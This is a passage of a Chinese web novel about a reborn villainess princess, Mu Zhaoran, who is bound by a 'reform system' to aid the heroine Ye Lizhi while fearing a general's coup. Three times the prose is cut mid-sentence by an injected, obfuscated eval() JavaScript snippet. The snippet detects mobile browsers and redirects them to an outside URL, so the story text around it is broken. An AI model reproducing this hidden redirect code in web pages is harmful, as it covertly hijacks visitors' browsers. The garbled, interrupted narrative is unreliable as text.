幸而,现在时代变了,不再流行无脑雌竞的恶毒女配,于是它这个系统便在万千读者的怨念中应运而生,穿梭于各个小说世界里改造恶毒女配。 慕昭然坏事做尽,罪大恶极,堪称典型,好在她还不算无药可救,尚残留着一丝未泯灭的悔恨之心,于是成为了系统选中的第一个目标。 只要她接受系统改造,便可重来一世,抵消前世造下的罪孽值,从而逆天改命,获得新的人生。 “重来一世?” 直到听见这句话,慕昭然如同死水一般的心绪才泛起了道道波澜,问道:“如何重来?” 系统道:“天理昭彰,报应不爽,你之所以会落得现在这个下场,皆是缘于你之前犯下的种种罪因。” 随着系统的话音,慕昭然眼前这才开始浮现出走马灯一样的过往画面,逆着时间长河往回追根溯源。 ——从她绞下耳后长发编入轸穗,到她娇颜谄媚诱着阎罗为她擒住叶离枝,将她关进暗牢里折磨发泄,致使她痛失腹中胎儿。 再到她陷害叶离枝不成,反被天道宫废去修为,列入“失道者”名录,沦为丧家之犬。 以及,更久远一些的,她还在天道宫时,为了争风吃醋,做下的许多阴损不堪之事。 这一幕幕画面,从过往记忆中被拉拽出来,历历在目,将她曾经造下的罪孽和日渐扭曲恶毒的心性展现得淋漓尽致。 溯洄的记忆画面,最终定格在了她即将动身离开南荣,去往天道宫修习的那一日。 祭祀的锣鼓声穿过遥远岁月,重新在耳畔震响。 那画面之中,阳光普照,百花纷飞,年方及笄的公主穿着厚重繁复的祭祀礼服,发间金簪耀眼,眼尾描红,额间贴着圣洁的银色钿纹,两臂高抬,手持玉笏,一步步登上祭坛。 就像是一朵雍容华贵的芙蓉花,翩然飘上祭坛高处,遵循着那些繁琐的祭祀流程,三跪九拜,以求她此行前往天道宫中修习,能顺利请回“承天鉴”,庇佑南荣百年昌盛。 仪式庄严肃穆,人皆正经八百,反倒是那仪式中心的小公主,盯着自己手里写满了祝祷的玉笏,眸中泪雾蒙蒙,拼命地忍着无聊的呵欠。 过往记忆变得越发清晰,慕昭然想起来,那一日原本天气并不好,阴云黑压压地罩在头顶,她本就不想离开父母和亲师,前去那劳什子的天道宫进修,便借着这天象不吉利的借口闹起脾气。 不过最终,胳膊拧不过大腿,就算父王和母后再如何骄纵她,也无法违逆天道,变了这传统。 她不喜天气阴沉,圣殿里看顾她长大的三位长老,便动用灵力结阵,赶在祭祀开始之前勉强撕开了笼罩在王宫上空的阴云。 灿然光束从撕裂的乌云里洒落下来,大长老的面容越发苍白了些,宛如一朵枯朽的花,呼吸之间都带着苟延残喘的病气。 她抬手摸了摸慕昭然的发顶,说道:“殿下,瑶姑无能,也就只能助你出行之路能一路光明,繁花相伴。” 慕昭然并不领情,她心中埋怨父王和母后,还有圣殿之中的长老,埋怨他们一个个的,都把她往天道宫赶。 就只有比她小三岁的弟弟,抓着她的衣角一把鼻涕一把泪地挽留她,说如果他成为南荣的国君,要让他的阿姐想做什么就做什么,才舍不得让她去那么远的地方受罪。 只可惜,他年龄太小,还翻不了天,只气得“冷漠无情”的父王吹胡子瞪眼,啪啪扇了他两巴掌,命人将他关了起来。 慕昭然自顾自地生着气,没有注意到瑶姑掩袖时咳出的血迹,迭声抱怨道:“天道宫,天道宫,你们口口声声就只有天道宫,我父王已经是南荣的国君,是南境之主了,为什么还得屈从于它的指令,凭什么它让我去,我就不得不去?我有三位长老教导就够了,你们才是我的师……” 她话没说完,就被瑶姑的一道禁令消了声音。 “今日祭祀之后,殿下便是南荣的圣女,你的一言一行都代表着南荣,万不可再说这样大逆不道的话。” 瑶姑向来温柔,极少会这般疾言厉色地斥责她,她说完之后又放缓了语气,眼神哀伤地紧握着她的手,一遍遍叮嘱,“殿下此行关乎着南荣千千万万的子民,关乎着南荣的存亡,你一定要为南荣请回一枚新的‘承天鉴’来。” 慕昭然回头看了一眼正殿上方供奉的那一枚鉴令,她虽从小就被教导关于这枚鉴令的知识,知道它来自何处,亦知道它神圣不可侵犯,可以镇压任何图谋不轨之心。 可那毕竟只是浮于纸面的知识,那时的她还并未切身体会过天命的权威,只把它当做和父王的玉玺一样的存在,何况,就算是玉玺也被她拿在手里把玩过,还用来砸过核桃呢。 慕昭然被施了禁言术,张嘴说不出话来,无法辩驳,只能咬着唇生闷气,全然听不进去瑶姑对她呕心沥血的嘱托。 及至最后离开南荣时,她心里都还怀着对圣殿长老和父母的怨怼。 “瑶姑,父王,母后……”慕昭然痴痴地望着回忆里那一张张久违的面容,伸手朝半空抓去,却只抓到一把虚无。 看台上,所有人都看着慕昭然挥舞着血淋淋的手,口中喃喃自语,试图去抓住什么东西。 黑色的燕尾蝶围绕着她的手指飞舞,想要去吸食她手上的血气,蝶翼抖落的鳞粉让她的皮肤溃烂得更快,那张曾令许多人望而失神的芙蓉面,已完全枯败了。 蛊毒大约让她陷入到了临死的幻觉当中。 慕隐逸隐约听见她呼喊父王、母后的声音,他蓦地背过身去,静默了片刻,抬脚大步离开,一次也没有回头。 他没有做错,即便父王和母后还活着,他们也定会和他做出一样的选择。 是阿姐错了。 蛊鼎之中,慕昭然也意识到了自己的徒劳,慢慢垂下了手。 系统道:“这里便是你所负罪责的起始,是你步入歧途的开端,接受系统改造,重回过去,亦不代表你的所作所为便一笔勾销,你犯下的罪责会铭刻在你的魂魄当中,形成业莲罪印,对你进行惩戒,只有当你一件件纠正你所犯下的罪行,抵消所有罪业,业莲凋零,罪印才会消失。” “当然,如果你诚心改过,不再执着于同女主相争,若是表现优秀的话,亦可以从女主身边分得一个除男主、男二以外的好男人,配给你做夫君,不用再被迫嫁给那个阴暗丑陋、浑身剧毒的蛊王阎罗,从此获得全新的人生。” 正所谓,放下屠刀,立地成佛。 慕昭然转动目光,一一望过自己的“罪行”,颔首道:“好。” 在她做下决定的瞬间,半空的画面化作道道红光刺入她的身躯之内,烙印至她的魂魄之上,勾勒出道道清晰的罪痕。 慕昭然仿佛正经历着炮烙之刑,痛得浑身颤抖,紧紧蜷缩在阎罗的胸膛上,灵魂上的剧痛淹没了所有感官,让她没能感觉到那只压在掌下的手骨缓缓屈起,扣住了她的手指。 那象征罪业的莲花在她心口一瓣瓣成型,重叠簇拥,慕昭然痛到极致反而失笑,咬牙切齿道:“当我没见过莲花么?莲花有这么多花瓣?这分明都快变成菊花了。” 系统静默片刻,声无波澜地回道:“要怪便只能怪你罪业累累,一罪一笔,业菊也不太好听啊。” 慕昭然流着泪:“……” 最后一笔罪印烙下,慕昭然的魂魄从身躯内陡然脱出,被风拂上高空,她的身躯和阎罗交叠在一起,被密集的虫蛊彻底淹没。 慕昭然看到了蛊鼎看台上亲密相依的云霄飏和叶离枝,看到了慕隐逸大步离开的决绝背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她的双眼被阳光刺得酸涨,下意识抬步想要往城楼走去,被旁侧的一个将领抬臂拦住,语气十分强势,说道:“瑶光圣女,祭祀已成,你只能往前行,不可再走回头路。” 慕昭然忍住泪意,不悦地转头瞪向说话之人,在看清对方的长相时,瞳孔不由一缩。 那说话之人燕颔虬须,一身铠甲,气势雄厚,正是南荣的护国大将军,叶戎。 叶戎自然了解这位小公主的脾气,从小到大都被当做南荣瑰宝一般捧着长大,连国君都拿她没办法,以前也就他这个沙场来回的大将军,能稍微镇一镇她。 但以往公主面对他时的畏惧,多是对威严长辈的敬重,不似现在这样,骤然变了脸色,眼底像含着深刻的仇恨。 叶戎不解她眼底那股恨意源于何处,疑惑地皱起一双浓长的悍眉,目光带着沉甸甸的审视,询问道:“瑶光圣女为何这么看着本将?” 祭祀完成后,他便立时改口以封号称了她圣女。 其实按照南荣旧制,公主出生后,就该被送到圣殿里教养,不允许与父母频繁相见,以隔绝尘缘。 奈何上面那位陛下实在舍不得女儿,竟不顾朝臣反对,硬是为她改了祖宗礼制,容她以公主身份长到现在,祭祀之后才正式接受圣女之职。 叶将军亦有爱女,便能感同陛下心情,当初陛下改礼之时遇到阻碍,亦是他率先表态支持,才让一些反对的朝臣闭上了嘴。 是以,慕昭然以前虽然惧他,却也敬他,绝不会用这种眼神看他。 慕昭然陡然直面前世弑君篡位,杀了自己父王和母后之人,一时惊怒交加,气血翻涌,心跳比先时祭坛上的鼓点还要激烈,震得她脑海里一阵嗡鸣,满脑子都叫嚣着杀了他,现在立刻杀了他。 她紧绷的视线落在叶戎腰间的配刀上,袖摆下的指尖颤抖,控制不住地想扑过去,拔出刀,一刀将他斩杀在这里。 叶戎敏锐地察觉了她眼神中的杀意,循着她的视线低下头。 恰在这时,一个身影忽然从旁跑来,介入了他们之间,先规规矩矩地朝慕昭然福身行一礼,只在抬头时亲昵地朝她眨眼,唤道:“请殿下允许我跟你同乘一驾马车。” 系统声音同时在她脑海里响起,“看见那个女主了没?这一回一定要相亲相爱哦。系统任务正式开启,望宿主珍惜这次改造机会,早日洗清罪业,重塑自我,重获新生。” 4. 第 4 章 系统的声音宛如一盆冰水从头淋下,寒气透体入骨,顷刻间将她拉回蛊鼎炼狱之中。 慕昭然恍惚觉得灵魂上的罪印都在燃烧,要将她满腔的愤恨焚化成灰,硬生生吞咽回去。 她身形晃了晃,魂魄在烈火中熬煎,身体却在烈阳之下控制不住地发着抖,不甘地将颤抖的手指一点一点蜷缩回宽大的袖摆内,强迫自己放缓呼吸,平复心跳。 身前之人见她脸色煞白,神情痛苦,更凑近一步想要伸手扶她,满脸都是关切:“殿下,你怎么了?” 慕昭然猝然避开她的手,摇晃的身子站定,眩晕的视野这才看清了身前人的模样。 不是叶离枝。 是叶凌烟。 后方传来叶戎无奈的斥责,沉声道:“烟儿,将军府不是早就为你备好了出行的车驾么?你也不看看这是什么场合,怎可胡闹?” 虽是斥责,但他言语之中的宠溺却不作假,于是这份斥责便也没有多少分量。 叶凌烟自然无惧,撅起唇角小声嘀咕道:“我私底下早就和殿下说好了,要同乘一驾前往天道宫,路上还能一起说说话,爹,你才该看看你现在的样子,横眉竖目的,把殿下都吓着了。” 叶戎转过目光,视线重新落回慕昭然身上,眼底探寻的意味还没有完全退去,抱拳道:“陛下千叮万嘱要臣护送瑶光圣女出城,臣也是一时心急,圣女见谅。” 慕昭然发热的头脑一寸寸冷却下来,勉强将外露的情绪压回心底,抬手轻扶额头,回看向他,说道:“我没事,只是方才在祭坛上晒得太久,有些头晕。” 叶戎身为武将,哪怕同样骄纵女儿,也逼着叶凌烟练了一身功夫,不似她这般娇滴滴的。 他仰头看了一眼天空中不算炽烈的日头,心中颇为不以为意,抬手示意道:“既然如此,眼下时辰不早了,圣女莫要耽搁,快些启程吧。” 慕昭然并未顺从他的指示,从系统的话音所见,叶离枝一定也在这里,她往旁错开几步,目光越过叶家父女二人,往人群之外望去。 叶凌烟好奇地随她一同回头张望,问道:“殿下在找谁?” 慕昭然没理会她,视线来回扫过人群,最终在将军府为叶凌烟送行的队伍中,看到了垂首站在最后的那道身影。 现在的叶离枝,衣着朴素,不簪钗环,还不如叶凌烟身边的丫鬟体面,一个人畏畏缩缩地站在人群背后,就像一抹灰败的影子,毫不起眼。 前世,慕昭然和叶凌烟交好,两人是从小一起长大的手帕交,她时常能从叶凌烟嘴里听到“叶离枝”这个名字。 只不过,叶凌烟说起她这个同父异母的妹妹时,言语中大多都是嫌恶和鄙夷。 因为叶离枝的母亲并没有什么名分,只是叶戎在行军途中,某地的地方官员为了讨好他而送上床榻以供消遣的玩物。没想到,却因此有了这么一个孽种。 叶大将军并不喜欢这个生母卑贱的女儿,却不能允许自己的血脉流落在外,这才将她带回将军府中,虽允她冠了父姓,却并未对外承认她的身份。 叶离枝在将军府的处境,可想而知。 慕昭然如今众星拱月,她的视线只稍稍在叶离枝身上停留了片刻,立即便有许多人的目光追随而去,落在了叶离枝身上。 叶离枝一下成为众人目光的焦点,顿时犹如惊弓之鸟,楚楚可怜地抬了抬眼又立即垂首,局促不安地站在原地,不知是该走还是该留。 叶凌烟扬起眉梢,狠狠瞪一眼将军府的随从,不悦道:“大喜的日子,怎么让她也跟着出来了,真是晦气,当心触了殿下霉头,还不快把她赶走!” 她话音落下,便有几个随从反身朝叶离枝走去,连拖带拽地将她驱离出这里。 虽有那劳什子的改造系统在身,慕昭然一时也没想好要怎么和自己上一世斗了一辈子的人相亲相爱,她对叶离枝的遭遇无动于衷,甚至还因能再次看到她这番孤立无援的卑微处境,而心生快意。 叶戎对那一幕亦视而不见,只提醒叶凌烟注意场合,动静别闹大了叫人笑话,随即加重了语气,再次催促慕昭然道:“圣女,时辰不早了,上车吧。” 慕昭然最后望了父王和母后一眼,转过身踩住脚踏登上车辇,在坐入车厢软榻时,耳边又不合时宜地响起了系统声音。 系统:“现发布第一项改造任务:因宿主前世百般阻挠,使女主在进入天道宫的途中屡遭凶险,落下丨体弱之症,今世请协助女主顺利进入天都城,抵消前世之过。” 慕昭然:“……” 她抬眸看向跟随在自己身后,想要一同登上车来的叶凌烟,不情不愿道:“你下去,把叶离枝给我唤来。” 叶凌烟惊愕地险些一脚踩空,撞得车上珠帘一阵噼里啪啦的碎响,怀疑自己听错了,疑惑地确认道:“叶离枝?我们马上就要启程了,殿下还唤叶离枝来做什么?她那种低贱之人,哪里配得殿下召见。” 慕昭然还没摸清“系统”的底细,只得先顺着它的任务来,冷着一张脸越过她直接看向车外的叶戎,说道:“叶将军,路上无趣,我想多要个人陪我解闷,应该不碍事吧?” 叶戎眯着一双虎目,毫不掩饰他的打量,“瑶光圣女一向和烟儿交好,不知什么时候和离枝也有交情的?” 慕昭然扬起下巴,摆出一副蛮不讲理的模样,说道:“听阿烟说了她太多次,我早就想见她了,听说她母亲当年也是名动一方的歌姬,她的嗓子想来也不错,岂不正好路途消遣,将军要是不愿意,我就去让父王下旨,让她陪我。” 叶戎见她当真作势要提裙下车来,摆手道:“这种小事哪用得着陛下金口。”他转头对身旁亲卫递了个眼色,那亲卫领命,朝着叶离枝离开的方向追去。 叶凌烟不满地跳下车,凑到父亲身边抱怨道:“爹,你还真要让她跟我们一起去?万一她胡乱说话,把我抢她……” 叶戎警告地瞥去一眼阻止了叶凌烟的话头,随后从鼻子里发出轻慢的嗤笑,低声道:“她不敢。” 须臾,叶离枝被重新带回到车前来,听说公主殿下要她登车作陪时,露出一脸诚惶诚恐,被人提醒才想起来伏地拜谢,踩着脚蹬上车的过程中,膝盖都在发软。 叶凌烟冷哼一声,还想跟着一同上车来,被慕昭然以“太挤”为由,打发了回去。 众目睽睽之下,她一连被慕昭然赶下车两次,简直颜面尽失,气得双颊涨红,难以理解昨日还与她亲密无间的好姐妹,今日怎么就忽然翻脸不认人了?宁愿叫来最讨厌的贱婢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164980|165084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随侍在身旁,也不愿与她同乘。 叶凌烟很想问问是不是自己哪里做得不对,不小心得罪了公主,可眼下已耽搁太久,叶戎已扬手吩咐动身启程。 叶凌烟满腔的委屈只能憋回腹中,她气怒上头,倒还记得尊卑有别,没将怨气发泄在慕昭然身上,只狠狠瞪着叶离枝,后者垂首坐在角落,连眼也不敢抬一下。 最终,叶凌烟还是不甘不愿地回去了将军府准备的车驾。 锣鸣开道,车辇缓缓启动。 这驾公主车辇十分华贵,车厢内的空间亦很宽敞,车内的软榻足以令人舒适地躺平休憩,两侧亦有铺着软垫的横座,中间置有熏炉,就是再多坐几个人也绰绰有余。 慕昭然不让叶凌烟上车同乘,纯粹是因为不想看见她。 她可没忘记自己前世被天道宫判定为失道之人,而被废除修为时,所列举的条条罪状,皆来自于叶凌烟这个好姐妹。 叶凌烟一边为她出谋划策、煽风点火,一边又煞费苦心地暗存了她的所有罪证,最后狠狠地反咬了她一口,大义凛然地指证了她。 叶家两姐妹更是因此而冰释前嫌,握手言和了,最终只有她背负所有罪责,成了需要被改造的恶女。 也是在那个时候,慕昭然才知道叶凌烟对于屈居她之下,只能事事谦卑,谄媚讨好,有多不甘心,他们父女俩包藏了同样的野心和欲望。 慕昭然抬手掀开车窗珠帘,望向最前方骑坐在马背上的高大身影,又回过头望了望此行护卫的兵将,叹了口气,放下珠帘退回软榻上。 叶戎掌着南荣兵权,颇得父王的信赖,单从这次出行,除了圣殿长老为她安排的八名灵使随行,其余的护卫兵将皆来自叶戎麾下,便可见父王有多放心他了。 道路两旁相送的民众,除了高呼“圣女”之名,亦有高呼叶大将军名号的,可见,他在民间的声望属实不低。 前世的她,沉浸在离家的哀怨中,竟对此毫无所觉。 这一世即便她提前知晓一切,想要扳倒叶戎也绝非易事,以她对自己父王的了解,即便她能送回消息提醒父王叶戎有反叛之心,父王多半也只会将她的话当做儿戏。 慕昭然思来想起,决定先传信告知瑶姑,由圣殿长老向父王转达这个信息,或许能让他更为警醒一些。 就算叶戎现在就有了反叛之心,他也不敢轻举妄动,毕竟圣殿里的那一枚承天鉴还未彻底失去神威,尚能庇佑南荣数载春秋,只要她这回能好好修行,叩开钧天殿的大门,请得新的承天鉴回南荣,南荣定能躲过危机。 想通之后,慕昭然终于不再那么焦灼了,有暇分出心思来看向同乘的另一个人。 自从登上这驾车辇后,叶离枝便一直处于浑身紧绷的屏息状态,憋得脸都红了,如果可以,她恨不能将自己蜷缩成车厢帷幔上的一团刺绣,生怕呼吸声大了,引来殿下的关注。 眼下被慕昭然的视线轻轻一瞟,她浑身便是一个激灵,紧张地手指快要将袖子绞烂。 慕昭然一见她这副矫揉造作的样子,便一股无名火蹭蹭往上冒,没好气道:“别装了,你要当真如此胆小怯懦,又怎么敢一个人逃出将军府,跑去天道宫的。” 她前世可没少被叶离枝的装模作样所欺骗! 5. 第 5 章 上一世,没有慕昭然带上她,叶离枝也会在她们离开南荣不久后,便从将军府中出逃,一个人跨越南境,到达中州,前往天道宫所在的天都玉京,最后不知因何机缘而被灵尊看重,亲自将她收入了天道宫内门之中。 其实,在进入天道宫之前,慕昭然和叶离枝并没有直接的冲突。 叶离枝于她而言,只是一个毫无瓜葛,连她的衣角都够不到的陌生人,更没有机会出现在她的视野范围内。 她之所以会派人阻挠叶离枝,也只是因路途无聊,又三番四次听到叶凌烟提及她那个可恶的庶妹,说叶离枝偷了她的东西,从将军府里逃走了。 叶凌烟用一个从民间搜罗来的小玩意儿,一种用铜丝掐成的九连环讨得她的欢心,要走了圣殿长老留在她身边的两名元婴灵使,去帮她捉家贼。 慕昭然为了给好姐妹出头,想也没想地便一口答应,她当时根本就没将这件事放在心上。 但系统说,因她前世百般阻挠,使叶离枝在进入天道宫的途中屡遭凶险,落下丨体弱之症。 显然,是将这个罪责算在了她头上。 慕昭然虽然迫于系统任务,将叶离枝带上了车,但她并不觉得这都是自己的错,她顶多只能算是受人蒙蔽,误信谗言罢了。 亦是因为上一世派出去的两名灵使,到最后都没能回来,明显是遭遇了不测,这才导致慕昭然从开始便记恨上了她。 前世积累的种种仇怨难以消解,现下慕昭然看叶凌烟不顺眼,看叶离枝更是恨得磨牙,看她的眼神很不友善,一副想要将她生吞活剥了似的。 叶离枝被她看得越发惶恐不安,试图解释道:“殿下息怒,我、我今日并非私逃出府,是小姐出门时,有东西落下让我给送来……” 她将东西送到之后,本应该立即离开的,可那从祭坛上走下来的身影实在太耀眼了些,让她躲在车厢阴影处,不由多停留了一会儿。 很显然,叶离枝的解释和慕昭然所说的,根本不是一回事。 慕昭然对她怎么出府来的,并不感兴趣,只拖长音调“哦”了一声,打断她的话,继续道:“这么说来,你不想去天道宫?那好吧,我这就叫人停车,让叶将军把你送回府去,最好打断你的腿,用铁链锁起来,叫你以后再无法踏出将军府一步,怎么样?” 慕昭然想象到那个画面,唇角不由向上飞扬,心情分外愉悦,竟先把自己说得蠢蠢欲动,按捺不住地想要就此执行。 她的表情戏谑,说出的每一个字都充满恶意,全然不似玩笑。 叶离枝憋红的脸颊在她的话语声中一点点惨白下来,膝盖往下一折,便软软地滑跪到了车厢的绒毯上,俯首道:“求殿下恕罪,我……” 她咬了咬牙,承认道,“我想去天道宫!” 她不想一辈子都被困在冷冰冰的将军府中,在那一座四四方方的高墙内,父亲无视她,主母憎恨她,叶凌烟稍有一点不顺心,就会来找她的麻烦,她每一日都过得战战兢兢,如履薄冰,连府中的奴仆都不如。 就连今日,能从那一座铜墙铁壁一样的将军府中出来一回,亦是她费了不少周折,才找到的这么一个机会。 若是再被圣女遣送回去,她恐怕当真一辈子都再也走不出将军府了。 大约是慕昭然骨子里的恶意冒得太肆无忌惮了些,她魂魄上的罪印忽然发起热来,刺骨的疼痛从魂魄蔓延至身躯,让她一下软了腰肢,蜷缩到软榻上。 脑海里那个跃跃欲试的恶毒念头,瞬间就被疼痛击溃。 慕昭然疼得攥紧衣襟,大口喘着气,闷声求饶,“好好好,我错了,我反省。” 叶离枝听到她含糊的话音和仿佛忍痛一样的喘息,仰头想要看看她,却又害怕再被她迁怒,只得俯在地上不敢动弹。 慕昭然疼得额上冒出了细密的冷汗,抬手胡乱抓了一串手珠砸到叶离枝身上,催促道:“起来!我既然让你上了车,就会确保你顺利进入天都。” 绯红的玛瑙手珠砸到叶离枝肩头,从她身上滑落下去,叶离枝慌忙伸手接住它,捧到慕昭然面前,感激道:“谢殿下,殿下之恩,我以后一定报答。” 魂魄上的疼痛缓解下来,慕昭然几乎虚脱,绵软无力地打开她的手,嫌弃道:“被你碰过了,太脏,我不要。” 叶离枝纤长的睫羽颤了颤,眸中漾着淋漓水光,就像一尊脆弱的琉璃,被她的话刺得支离破碎。 她捧着玛瑙手珠不知所措,半晌从袖子里取出一张不知洗过多少次的棉布手帕裹住手珠,仔仔细细地擦拭过每一颗珠子,隔着手帕又捧到慕昭然面前。 慕昭然第一次切实感受到魂上罪印对自己的制裁,心情正是暴躁之时,对眼前这个罪魁祸首更加不耐烦,再次挥袖打开她的手,怒道:“我说,我不要了!” 这一次她的力道大了些,袖摆甩动,不慎打到了叶离枝的脸上,袖口的金线刺绣将她的脸颊抽出一条红印。 慕昭然登时一怔,以为又会遭受一道惩罚,慌忙抓回袖摆,害怕地解释道:“我不是故意的。” 感觉到魂魄上的罪印没有动静,她才松了口气,又觉得自己方才着急解释的样子太过丢脸,恼怒道:“马上,立刻,扔出去!” 叶离枝在将军府是被作践够了的,曾在寒冬腊月的天气,因被诬陷偷吃了一口主母桌上的糕点,而被人一连扇了二十多个巴掌,在雪地里跪了一夜。 脸上的伤口变成了冻疮,直到开春才勉强长好,留下的红痕过了好几年才完全消退。 慕昭然袖摆打在脸上的那一下对她来说,其实不算什么,叶离枝只是心疼这一串玛瑙手珠。 这样一串做工精致的上等玛瑙珠,是寻常人家一年的口粮了,她实在舍不得就这么丢掉,可又不敢违背殿下之意,犹豫片刻,见殿下实在气恼,只能遵命地打开车窗,抛了出去。 做完之后,她又退回到角落里,低着头讷讷道歉:“殿下息怒。” 息怒,息怒,息个鬼的怒,慕昭然现在只要看见她那一副装模作样忍气吞声的样子,就一肚子火,叶离枝此人惯会装可怜,前世便靠着她这番楚楚可怜的样子,不知勾引了多少人。 连慕隐逸那个狗东西,都被她勾得丢了魂,宁肯背叛血脉亲缘的姐姐。 如果能将她这张楚楚动人的脸划烂就好了,看她顶着一张烂脸,还怎么装可怜! 慕昭然盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164981|165084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,心里又忍不住开始咕噜噜地冒坏水,直到魂上的罪印再次发热,虫噬般的刺痛从骨子里蔓延出来,她才惨惨地闷哼了一声,哀叫着求饶,“我错了我错了,我不想了我什么都不想……” 叶离枝小心翼翼地抬了下头,短短时间内,这是她第二次听到圣女殿下喃喃着不知在向谁求饶。 圣女捂着眼睛,似乎连看也不想看她一眼,从鼻子里发出小猫一样的呜咽声,身子细细地发着抖,那身华丽的服饰,层层叠叠地裹在她身上,好像轻易就能将她压垮。 “殿……”叶离枝担忧地朝她倾身过去,伸手想要扶一扶她,思及先前她对自己的嫌弃,便又迟疑地蜷缩回手指,小声问道,“殿下还好么?需要我唤医师进来看看吗?” “闭嘴!”慕昭然恨声道,翻了个身朝向里面。 她算是明白那该死的罪印的发作机制了,她不能动恶念,尤其不能动针对叶离枝的恶念,偏偏她对叶离枝只有恶念。 这就是系统所谓的“相亲相爱”么? 慕昭然不由嗤笑,弯起的唇角又在魂魄的疼痛中撇下去,只能想点别的什么来转移她的注意力,努力将“叶离枝”这个人从她脑海里剔除出去。 恰在这时,外面传来一阵喧哗,车厢一震,行车的速度明显慢了下来。 车外传来叶戎高亢的嗓音,询问道:“圣女,太子骑马追出来了,应该是还想和你好好道个别,要停车等一等他么?” 慕昭然攥着软垫的手指蓦地一紧,沉默片刻,翻过来身抬眸看了叶离枝一眼,扬声道:“不停,没什么好道别的,加快速度,赶紧走,勿要耽误正事。” 叶戎也不喜拖拉,慕昭然的回答正和他意,遂扬手命令队伍继续前行,又派了两人折返回去劝退太子。 车辘的声响逐渐加快,疾风掠过车窗,呼呼的风声也压不住从后方传来的夹着哭腔的呼嚎:“阿姐,阿姐!你等等我,阿姐,我还有话想与你说——” 慕昭然斜倚在软榻上,面无表情地听着那哭嚎声越来越远,越来越弱,最后再也听不见。 叶戎一直随行在车旁,见她竟连车窗都不愿打开一下,意味不明地说道:“太子喊得声嘶力竭,险些从马背上摔下去,相比起来,瑶光圣女倒是沉稳冷静,令人佩服。” 慕昭然魂上刺痛已不知不觉消退,但曾经遭遇的背叛却是刻骨铭心,永不会忘,她冷淡道:“我身为圣女,知道何为重何为轻,杜绝感情用事,这不是应当的么?” 叶戎诧异地偏头看了一眼车辇,透过垂挂的幕帘,隐约能看见里面斜靠的身影,没想到竟然能从这位任性的小殿下嘴里,听到这么一番懂事的言辞。 听说昨日她都还在宫里寻死觅活地不想去天道宫,不想当什么圣女,更不想承担圣女的职责。不过短短一日,她竟想通了?究竟是真的想通了,还是只是在做做样子? 叶戎浓眉微蹙,眼神晦暗不明地望向前方,语气欣慰道:“如此,圣女定能不负陛下所望,为南荣请回新的承天鉴。” 慕昭然抬眸,死死盯着窗外的身影,斩钉截铁道:“这是当然。” 这一次,她绝不会再给他打着“天命”旗号造反逼宫的机会。 6. 第 6 章 夏末秋初,草木已有了衰败之相,但官道两旁却仍能看到不合时节开放的碎花,是大长老答应给她的饯别礼。 慕昭然倚在窗边,透过窗缝,看着路边不断掠过的各色小花,心神慢慢坚定下来。 车队驶离都城郊界,路边的碎花渐少,送行的民众也逐渐少了,外面渐渐安静下来,车辇上的法阵启动,流光从窗隙不断闪过,行车速度猛然加快,掠窗而过的风声中只剩下行路的车辘和马蹄声。 慕昭然一大早便被拉起来举行祭祀之礼,方才又连遭系统两次制裁,可谓身心俱疲,即便车厢内外之人都令她感觉不安,她还是没能支撑得住,小睡过去片刻。 只有等她睡过去后,叶离枝才敢小心翼翼地抬眼打量她。 睡着后的圣女殿下收敛了所有尖刻的外刺,垂下的睫羽在眼睑下勾勒出两道水墨似的影子,方才发白的脸色逐渐透出红润,玉雪一样的肌肤,像是倒映着晚霞的珍珠,乌黑的发丝贴着脸颊垂下一缕,发尾蜿蜒地堆积在华美的衣料之上。 叶离枝看着她,总不由自主地联想到曾经有人送给父亲的那一枚宝珠,盛在精贵的螺钿漆盒内,经手的每一个人都得小心翼翼地捧着,不可经历半点风霜。 锦衣玉服,翠羽明垱,合该都是宝珠的陪衬。 叶离枝是没有资格近距离观赏宝珠的,以前也就只能躲在角落,望一望漆盒开启时,宝珠所焕发的光彩。 就像之前她永远只能在叶凌烟朝她炫耀时,从她口中听到公主殿下的名字。 一个是南荣尊贵的公主,未来执掌圣殿的主人,一个只是被视为耻辱的私生子,云泥之别的两个人,叶离枝不理解,慕昭然为何会突然唤她上车来陪侍。 她看上去那么讨厌她,有些时候,叶离枝甚至都能感觉出殿下比叶凌烟还要厌憎她。 虽然她也不知自己曾经做过什么引人厌恶的事,但她已习惯毫无缘由地被人厌憎了。 慕昭然先是睡得很沉,后来乱梦频生,她一时梦见自己陷害叶离枝不成,被捆仙绳锁着押上天道宫的刑台,受十二道噬灵引,绞碎金丹,废除修为。 一时又梦见自己被推入蛊鼎,受万虫噬心钻骨之痛,叶离枝站在看台上,居高临下,欣赏着她的痛苦求饶。 从惶恐之中惊醒过来时,她脸上全是水痕,分不清是汗是泪,也分不清究竟哪一边才是真实。 直到叶离枝隔着手帕,小心讨好地捧着一碗茶水递到她面前,迟疑地问道:“殿下做噩梦了?” 慕昭然蓦地抬眸瞪向她,梦里残留的痛和恨几乎快要从她那一双黑漆漆的瞳孔内满溢出来,她浑身抑制不住地发着抖,抬袖掩面,一把打开叶离枝的手,斥道:“滚!滚下车去,我不想看到你!” 